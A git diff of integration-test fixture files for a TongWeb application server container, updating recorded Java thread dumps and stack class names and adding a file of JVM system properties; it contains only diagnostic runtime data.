@@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 +"http-nio2-9060-Acceptor-0" #101 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@42a1db41 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-7" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -769,29 +801,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"main" #1 [WAITING] on java.lang.Thread@4212a0c8 - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at com.tongweb.catalina.core.StandardServer.awaitJmx(StandardServer.java:499) - at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:457) - at com.tongweb.catalina.startup.Catalina.await(Catalina.java:747) - at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:382) - at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:536) - -"Thread-5" #28 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPoll.epollWait(Native Method) - at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-5100-exec-4" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 +"http-nio-5100-exec-5" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -805,32 +815,27 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio-5100-AsyncTimeout" #130 daemon [TIMED_WAITING] +"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #100 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING at java.lang.Thread.sleep(Native Method) - at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) + at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Connection(2)-192.168.215.4" #108 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.SocketInputStream.socketRead0(Native Method) - at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) - at java.net.SocketInputStream.read(SocketInputStream.java:171) - at java.net.SocketInputStream.read(SocketInputStream.java:141) - at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) - at java.io.BufferedInputStream.read(BufferedInputStream.java:265) - at java.io.FilterInputStream.read(FilterInputStream.java:83) - at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source) - at java.security.AccessController.doPrivileged(Native Method) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) +"http-nio-5100-exec-3" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-4" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"JCA-default-thread-pool-worker-2" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -841,19 +846,13 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Stateful cache" #102 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3254d46 +"http-nio-5100-AsyncTimeout" #118 daemon [TIMED_WAITING] java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1253) at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-exec-8" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio2-8080-exec-5" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -867,13 +866,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio2-8080-AsyncTimeout" #116 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) - at java.lang.Thread.run(Thread.java:750) - -"http-nio2-8080-exec-3" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 +"http-nio2-9060-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -887,31 +880,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"pool-2-thread-1" #158 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65e46813 - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"RMI Scheduler(0)" #106 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8221693 - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"JCA-default-thread-pool-worker-8" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"JCA-default-thread-pool-worker-9" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -922,7 +891,34 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-3" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.tongweb.catalina.core.StandardServer.awaitSocket(StandardServer.java:510) + at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:450) + at com.tongweb.catalina.startup.Catalina.await(Catalina.java:742) + at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:378) + at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:530) + +"http-nio-5100-ClientPoller-0" #115 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:796) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-8" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -933,18 +929,21 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-6" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"http-nio2-9060-exec-6" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-9" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 +"JCA-default-thread-pool-worker-1" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -955,30 +954,27 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-Acceptor-0" #113 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@553e19b8 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) - at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) - at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) - at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) - at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) - at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444) +"IntelligentRouterHealthInfoCollector" #161 [TIMED_WAITING] on java.util.TaskQueue@5c631a2d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-8080-AsyncTimeout" #104 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1253) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-2" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) +"http-nio-5100-Acceptor-0" #117 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:457) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-exec-8" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 +"http-nio-5100-exec-6" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -992,32 +988,38 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-exec-4" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 - java.lang.Thread.State: WAITING +"RMI TCP Accept-7200" #91 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"pool-5-thread-1" #160 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@718b3cde + java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) - at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio2-0.0.0.0-9060-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 - java.lang.Thread.State: WAITING +"RMI Scheduler(0)" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@54ac8f1f + java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) - at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) - at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) @@ -1026,6 +1028,8 @@ ThreadStacks: StackClassNames: Base64ClassLoaderServlet EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter com.tongweb.catalina.authenticator.AuthenticatorBase com.tongweb.catalina.connector.CoyoteWriter com.tongweb.catalina.connector.ThanosCoyoteAdaptor @@ -1050,7 +1054,9 @@ com.tongweb.coyote.http11.Http11Processor com.tongweb.coyote.http11.ThanosHttp11Processor com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer com.tongweb.tomee.catalina.OpenEJBValve +com.tongweb.web.util.net.AbstractEndpoint com.tongweb.web.util.net.Nio2Endpoint$Acceptor +com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4 com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor com.tongweb.web.util.net.NioBlockingSelector$BlockPoller com.tongweb.web.util.net.NioEndpoint$Acceptor @@ -1061,4 +1067,4 @@ com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker com.tongweb.web.util.threads.TaskQueue com.tongweb.web.util.threads.TaskThread$WrappingRunnable com.tongweb.web.websocket.server.WsFilter -org.junit.Uzcrn.ErrorHandler +org.junit.YLznV.ErrorSektbHandler diff --git a/integration-test/src/test/resources/infos/TongWeb7046ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7046ContainerTestBasicInfo.txt new file mode 100644 index 00000000..079a6d3e --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb7046ContainerTestBasicInfo.txt @@ -0,0 +1,1115 @@ +# Generated At 2026-05-24 11:01:30 +SystemProps: +java.vendor: Oracle Corporation +tongweb.restart.interval: 1 +pid_file_path: /opt/tweb7/tongweb.pid +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: true +os.name: Linux +xss_defense: true +openejb.provider.default: com.tongweb.tomee +sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +disableResourceCache: true +checkNonXADB: true +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +enable_query_cache: false +tomee.version: ${pom.version} +user.name: root +openejb.deployments.classpath.filter.systemapps: false +shared.loader: ${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/,${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/ +openejb.loader: webtier-system +genSessionCookieNameForContext: console +tongweb.home: /opt/tweb7 +java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory +user.language: en +derby.system.home: /opt/tweb7/bin +ibm.stream.nio: true +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64 +openejb.deployments.classpath: false +resLowversionLoad: false +tongweb.java: /usr/local/openjdk-8 +java.version: 1.8.0_342 +java.util.logging.manager: com.tongweb.log.TongwebLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: false +tongweb.X_Frame_Options: SAMEORIGIN +sun.arch.data.model: 64 +tongweb.util.buf.StringCache.byte.enabled: true +LoadClassCache.Disabled: true +tongweb.upload: /opt/tweb7/temp/upload +java.endorsed.dirs: /opt/tweb7/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web. +file.separator: / +java.specification.name: Java Platform API Specification +tongweb.jmx.remote.x.access.file: /opt/tweb7/conf/security/jmxremote.access +java.class.version: 52.0 +tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,oraclepki.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar +tomee.remote.support: false +java.home: /usr/local/openjdk-8/jre +java.vm.info: mixed mode +os.version: 6.8.0-111-generic +com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +openejb.embedder.source: ThanosServerListener +tongweb.sysapp: /opt/tweb7/applications +compatibleWithWas: false +path.separator: : +TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar +java.vm.version: 25.342-b07 +bval.in-container: true 